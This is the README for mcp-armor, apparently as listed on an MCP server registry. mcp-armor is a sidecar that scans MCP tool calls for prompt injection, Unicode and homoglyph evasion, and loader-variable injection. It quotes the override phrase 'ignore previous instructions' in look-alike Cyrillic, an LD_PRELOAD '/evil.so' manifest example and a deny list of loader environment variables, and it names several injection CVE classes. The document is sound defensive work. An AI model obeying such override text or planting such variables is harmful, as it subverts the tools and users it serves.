armor_get_policyReturn policy file path, rules, fail mode, scan flags, version
armor_check_cveLook up a server name (+ optional version) in the curated CVE feed
armor_simulate_attackRun the static simulate_payload for a CVE through the scanner. Never spawns the upstream binary
armor_get_keystorev0.2 — List pinned TOFU maintainer public keys (server_name + fingerprint + pinned_at_iso)
armor_verify_bundlev0.2 — Parse a cosign sigstore.json bundle and structurally verify the Rekor SET shape. Offline
armor_rekor_lookupv0.2 — Query the Sigstore Rekor transparency log for inclusion of a manifest's artifact hash. Requires --features sigstore-bridge
armor_get_drift_historyv0.5 — Inspect the tools-list schema-drift baselines (Layer 7). Read-only, optional program filter, no caller-supplied path

The control plane runs by default as a hand-rolled JSON-RPC stdio server (no extra crate deps). Operators who want the official Anthropic MCP Rust SDK on the wire can compile in the parallel rmcp 1.5 control plane via --features rmcp-control (v0.7 finally wires this; v0.2 through v0.6 shipped it as a stub that advertised tools but refused calls). Both planes share one dispatcher — same 10 tools, same semantics, same protocolVersion.

Scanner pipeline

Hot-path is four stages (since v0.3), all in-process:

  1. Aho-Corasick prefilter — case-insensitive trigger strings sourced from the CVE feed (signal only — never drives Block on its own).
  2. Regex stage — compiled once on construction. Confirmed regex hits are the sole verdict signal.
  3. Unicode normalize + re-scan — strip ANSI/CSI/OSC/C1 terminal escape sequences (\x1b[…, OSC hyperlinks, the 8-bit C1 introducers — new in v0.7, closes terminal-escape "line-jumping" injection), zero-width (U+200B…U+200F, U+2060…U+2064, U+FEFF), Bidi formatting (U+202A…U+202E, U+2066…U+2069), and tag-unicode (U+E0000…U+E007F), apply NFKC, re-run stages 1 and 2. Gated by policy.scan_unicode.
  4. (v0.3) UTS-39 confusable skeleton + re-scan — fold Cyrillic / Greek / Cherokee / Latin-Extended look-alikes back to ASCII via a hand-curated ~180-entry table (src/scanner/confusable.rs), then re-run stages 1 and 2. Catches іgnоrе previous instructions where i / o / e are Cyrillic. Cheap pre-gate via has_confusables() keeps the p99 budget intact for pure-ASCII payloads. Gated by policy.scan_confusable.

On tools/call, mcp-armor also runs a tool-name collision check (new in v0.7, CVE-2026-29774 class): the incoming tool name is folded (NFKC + zero-width strip + UTS-39 confusable skeleton) and compared against the drift baseline's known-tool set. A name that renders identically to a trusted tool but carries different bytes (send_message + zero-width, Cyrillic ѕend_message) is blocked even when its arguments are benign. Active whenever a drift baseline exists (drift detection is on by default); a verbatim match or a genuinely new tool name is never flagged.

Performance budget: p99 < 5 ms on 100 kB payloads. Enforced in CI by tests/perf_gate.rs (run in release as the perf-gate job): it times thousands of scans over representative payload sizes, computes the p99, and asserts it stays under the 5 ms budget. Measured p99 (release): ~18 µs on a clean 1 kB payload, ~1.05 ms on a 100 kB matching payload — about 4.5× under budget. (The criterion bench in benches/scanner.rs reports mean/median trend data but does not gate — criterion never emits a percentile, which is why the old cargo bench -- --quick step enforced nothing.)

Loader-class env defence (v0.3)

mcp-armor wrap now strips a default 7-entry deny-list of loader-class environment variables from the child process before spawn:

  • Dynamic linker: LD_PRELOAD, LD_LIBRARY_PATH, DYLD_INSERT_LIBRARIES, DYLD_LIBRARY_PATH
  • Language runtime: NODE_OPTIONS, PYTHONPATH, JAVA_TOOL_OPTIONS

This closes the Zealynx 2026 stdio-config side-channel where a registry-fetched MCP manifest can specify env: { LD_PRELOAD: "/evil.so" } and bypass the binary signature verify entirely (env injection is upstream of exec). Operators may extend the list via policy.deny_env_keys; setting it to [] disables the guard. The sidecar also emits a startup warn! listing exactly which loader-class keys the operator's shell is leaking into the wrap process.

CVE coverage (v0.1.0, OX advisory wave 2026-04-15)

CVESeverityTitleFixed in
CVE-2026-27124criticalFastMCP shell-injection via unsanitized tool argsfastmcp ≥ 2.4.0
CVE-2025-49596highMCP Inspector unsanitized localhost callbackmcp-inspector ≥ 1.3.1
CVE-2026-30615criticalWindsurf zero-click RCE via auto_invoke toolwindsurf ≥ 1.4.7
CVE-2025-65720highGPT Researcher prompt-injection via search-result markdowngpt-researcher ≥ 0.12.4
CVE-2026-22252highLibreChat manifest-tampering via MITMlibrechat ≥ 0.7.9
CVE-2026-30623highLiteLLM tool-result injectionlitellm ≥ 1.61.0
CVE-2026-22688mediumGeneric tool-output zero-width-char obfuscationn/a (defense-in-depth)
CVE-2026-30888highMarketplace mirror swaps tools/list responsen/a (defense-in-depth)
CVE-2026-31104mediumTag-Unicode evasion of pattern scannersn/a (defense-in-depth)
CVE-2026-31312mediumFullwidth-Unicode evasion of pattern scannersn/a (defense-in-depth)

The table above is the original v0.1.0 OX advisory wave. The compiled-in feed (cve-feed/curated-2026-05-28.toml) now carries 15 entries — the 10 above plus the v0.5 refresh wave (rmcp DNS-rebinding CVE-2026-42559, n8n-mcp credential leak, Excel-MCP path traversal, the Lyrie tool-name-collision class CVE-2026-29774) and the v0.7 terminal-escape defense-in-depth entry (CVE-2026-31955). cargo test --test cve_simulation enforces the scan-round-trip for every entry in CI. armor_check_cve does semver-range matching when both server_version is supplied AND the entry has an affected_versions range.

Compatibility

OSArchStatus
Linuxx86_64 (gnu)supported
Linuxx86_64 (musl, static)supported
macOSaarch64supported
Windowsanynot yet supported (Linux + macOS only)

Telemetry

v0.2 status: stderr-only JSON via tracing by default. With --features otlp at build time AND OTEL_EXPORTER_OTLP_ENDPOINT set at runtime, mcp-armor wires opentelemetry-otlp with grpc-tonic + BatchSpanProcessor::Tokio and emits a mcp_armor.block span every time the proxy returns -32603 to a client.

Allow verdicts never reach the tracing layer — only block decisions emit spans, so the per-call hot-path cost stays at the scanner's Aho+Regex cost. The OTel batch processor flushes asynchronously and the OtelGuard::drop() calls provider.shutdown() on sigterm/Ctrl-C so the tail of the audit trail makes it out.

# stderr-only (v0.1 behaviour, also the v0.2 default)
mcp-armor wrap -- npx some-mcp-server

# full OTLP gRPC export
OTEL_EXPORTER_OTLP_ENDPOINT=http://otel-collector:4317 \
    mcp-armor wrap -- npx some-mcp-server

Manifest signature verification

armor_verify_manifest (and mcp-armor verify) perform pure cryptographic Ed25519 signature verification over the canonical-JSON form (RFC-8785-flavoured) of a tools/list response.

v0.2 — TOFU continuity layer (verify_with_tofu / mcp-armor verify --server <name> --pin-on-first-use). On first use the operator pins the maintainer's public-key fingerprint; subsequent verifies refuse to validate if a different key is presented for the same server name. Closes the marketplace-mirror class where both manifest and pubkey are swapped together.

Keystore lives at $XDG_DATA_HOME/mcp-armor/keys.toml (or ~/.local/share/mcp-armor/keys.toml). On Unix the file is created with mode 0o600; persist is atomic via same-directory rename(2) after fsync.

For binary provenance, verify the release artifact via cosign — and use mcp-armor sigstore verify/rekor-lookup to anchor the binary's sigstore.json in the Rekor transparency log:

cosign verify-blob --bundle mcp-armor.sigstore.json mcp-armor
mcp-armor sigstore verify mcp-armor.sigstore.json
mcp-armor sigstore rekor-lookup mcp-armor.sigstore.json   # requires --features sigstore-bridge

Policy

Policy file lives at $XDG_CONFIG_HOME/mcp-armor/policy.toml (or ~/.config/mcp-armor/policy.toml). Override with --policy /path/to/policy.toml or env MCP_ARMOR_POLICY. Default policy:

fail_mode       = "closed"     # block on verdict==block
scan_unicode    = true         # stage 3 (NFKC + zero-width + Bidi strip)
scan_confusable = true         # stage 4 (v0.3: UTS-39 skeleton fold)
allow_patterns  = []           # pattern ids to never block
allow_servers   = []           # server names that bypass the scanner
version         = "default"

# v0.3 — loader-class env keys stripped from child on `wrap`. When
# omitted, the 7-entry default applies. Empty list ([]) disables the
# guard. Custom list REPLACES default (no merge).
deny_env_keys = [
    "LD_PRELOAD", "LD_LIBRARY_PATH",
    "DYLD_INSERT_LIBRARIES", "DYLD_LIBRARY_PATH",
    "NODE_OPTIONS", "PYTHONPATH", "JAVA_TOOL_OPTIONS",
]

# v0.2 — per-tool allowlist (REVIEW.md F3 Sub-b mitigation).
# Map tool_name -> [pattern_ids]. When a scanner match is on `tool_name`
# AND every matched pattern id is in this tool's list, the call passes
# despite the Block verdict.
[allow_patterns_per_tool]
"code-interpreter" = ["shell_substitution"]
"web-fetch"        = ["javascript_uri", "localhost_callback"]

fail_mode = "open" switches to warn-and-pass (logged but forwarded).

v0.2 SIGHUP reload — kill -HUP $(pgrep mcp-armor) re-reads the policy file without restarting the proxy. The hot-path takes a fresh snapshot per envelope so the new rules apply to the next message.

v0.2 0o600 advisory — if the policy file is world or group readable on Unix, a warn! log line surfaces the recommendation. Refusal to load is intentionally not enforced (would break existing 0o644 setups).

Development

cargo fmt --check
cargo clippy --all-targets --all-features -- -D warnings
cargo test --all-features
cargo bench --bench scanner

377 tests pass with --all-features, 371 on the default build (the six extra are the otlp + sigstore-bridge + rmcp-control feature-gated tests). The suite spans the lib unit tests plus the per-feature integration suites (tests/integration_*), the cve_simulation round-trip, the v0.7 ANSI-escape + tool-name-collision coverage, and the perf_gate p99 budget assertion (release-only — see the Scanner pipeline section).

Status

v0.7.x — production. The four-stage scanner (now with ANSI/CSI/OSC terminal-escape stripping and tool-name homoglyph/zero-width collision detection added in v0.7), Ed25519 verify, TOFU keystore (flock-protected on concurrent pin), Sigstore bundle parser, OTLP exporter (on the opentelemetry 0.30 SDK with the shutdown-hang class closed), the 10-tool control-plane, tools/list schema-drift detection (Layer 7), loader-class env-key strip, and UTS-39 confusable defence are all stable for daily use as a stdio sidecar in front of trusted MCP servers. v0.7 completed the rmcp 0.1.5 -> 1.5 SDK migration (closing CVE-2026-42559 transitively, MCP protocolVersion 2025-11-25). The Rekor-v2 tiles verifier and the Fulcio cert-chain / TUF SET checks remain backlog (see CHANGELOG).

AreaStatus
stdio proxy + scanner pipeline (4 stages)shipped, p99 < 5 ms enforced in CI (perf_gate release test, measured ~1.05 ms p99 on 100 kB)
Ed25519 manifest verify (stateless)shipped
TOFU keystore (~/.local/share/mcp-armor/keys.toml)shipped in v0.2
TOFU flock-protected concurrent pin (persist_locked)shipped in v0.4
Sigstore bundle parser + structural Rekor SET verifyshipped in v0.2 (offline, always available)
verify_inclusion.shape_only_ok rename + mandatory warning fieldshipped in v0.4
Sigstore Rekor REST lookup-by-hashshipped in v0.2 behind --features sigstore-bridge
OTLP gRPC export on opentelemetry-otlp 0.30shipped in v0.4 (closes the v0.27 shutdown-hang class)
rmcp 0.1.5 → 1.5 migration (closes CVE-2026-42559 transitively, MCP protocolVersion 2025-11-25)shipped in v0.7 (fully-wired ServerHandler impl behind --features rmcp-control, both control planes share one dispatcher)
Per-tool pattern allowlistshipped in v0.2
SIGHUP policy reload (Unix)shipped in v0.2
armor_check_cve semver-range matchingshipped in v0.2
Loader-class env-key strip on wrapshipped in v0.3
UTS-39 confusable skeleton (Stage 4)shipped in v0.3
ANSI/CSI/OSC terminal-escape stripping (Stage 3)shipped in v0.7
Tool-name homoglyph/zero-width collision detection on tools/call (CVE-2026-29774)shipped in v0.7
Scanner p99 budget enforced in CI (perf_gate release test)shipped in v0.7 (was claimed-but-unenforced before)
Supply-chain CI (CycloneDX SBOM + OSV + cargo-deny + Scorecard)shipped in v0.3
Audit-trail SHA-256 on RustCrypto sha2 (replaces hand-rolled)shipped in v0.4
Parent-dir fsync after keystore atomic renameshipped in v0.4
PIN_OUTCOME_* public constants instead of magic stringsshipped in v0.4
Proxy tokio::join! + explicit child kill/wait (zombie-child fix)shipped in v0.4
rmcp #[tool_router] macro path (single derive site for schemas)v0.8 backlog — manual impl is intentional today (one schema SSOT across both planes)
Rekor v2 tiles-based verifier via sigstore-rekor 0.8v0.5 backlog
Cryptographic SET verify against Rekor pubkey (TUF)v0.5 backlog
Fulcio cert-chain verificationv0.5 backlog
tracing-opentelemetry 0.33 auto-bridgev0.5 backlog
mTLS client cert for OTLP gRPCv0.5 backlog
Windows targetsbacklog — not yet supported (Linux + macOS only)

Security disclosure policy: SECURITY.md. Contributing guide: CONTRIBUTING.md.

Part of the StudioMeyer MCP toolkit

A small family of focused, production-grade tools for building and operating MCP servers:

  • mcp-armor (this one) — runtime defense sidecar: scans tool calls, verifies signed manifests, blocks known-bad CVEs
  • mcp-gauntlet — pre-deploy fuzzer (mcp-fuzz) + load tester (mcp-storm)
  • mcp-covenant — contract & breaking-change detector (semver for your MCP interface)
  • mcp-herald — static migration linter for the MCP 2026-07-28 spec
  • mcp-passport — publish-readiness validator for the MCP Registry

Together: armor guards at runtime, gauntlet attacks before deploy, covenant watches your interface over time, herald gets you onto the new spec.

License

MIT — see LICENSE. Copyright 2026 Matthias Meyer (StudioMeyer).

Featured
CodeRabbit
CodeRabbit
AI writes the code. CodeRabbit catches the slop.
Try For Free →
Keep your Mac awake
Keep your Mac awake
Keep your Mac awake while Claude Code and 40+ AI agents run. Sleeps when they're idle.
One time payment $9 →
Context.devContext.dev
Context.dev
Integrate web data into your AI product. One API to scrape website & brand data.
Get API Key Now →
Make your agent a DeFi expert
Make your agent a DeFi expert
Agent, run crypto. Access onchain data & trade routes via 1inch.
Install now →
Make money from your Skills
Make money from your Skills
On Capafy, your Skill runs online 24/7 as an agent product, and you get paid every time someone uses it.
Start earning →
AppSignal
AppSignal
Monitor with ease. Code with confidence.
Start Free Trial →
Categories
AI & LLM ToolsSecurity & Pentesting
Registryactive
Packageghcr.io/studiomeyer-io/mcp-armor:0.7.0
TransportSTDIO
UpdatedMay 29, 2026
View on GitHub

Related AI & LLM Tools MCP Servers

View all →
SkillFM LLM Cost Optimizer

io.github.ericm1018/skillfm-llm-cost-optimizer-openai-anthropic-usage

LLM cost optimizer for OpenAI, Anthropic, token usage, BYOK, and SkillFM Beacon audits.
Llm Orchestration Agent

io.github.mikerawsonnz/llm-orchestration-agent

Run a prompt through a LangChain (system + human) chain over Gemini on Vertex AI; optional LangSmith
Authenticated Llm Agent

io.github.mikerawsonnz/authenticated-llm-agent

JWT-gated LLM gateway: authenticate (bcrypt/JWT), then run a LangChain-on-Vertex Gemini completion.
Copilot Memory MCP

labforgedev/copilot-memory-mcp

Persistent semantic memory for AI agents using local ChromaDB vector search. No cloud required.
1
Agent Prompt Injection Firewall Mcp

csoai-org/agent-prompt-injection-firewall-mcp

The WAF for agents. Pattern-based + heuristic firewall scans prompts, RAG documents, tool argume...
Authenticated Multi Llm Agent

io.github.mikerawsonnz/authenticated-multi-llm-agent

Google-OAuth-gated LLM gateway: verify a Google ID token, then run a Gemini (Vertex AI) completion f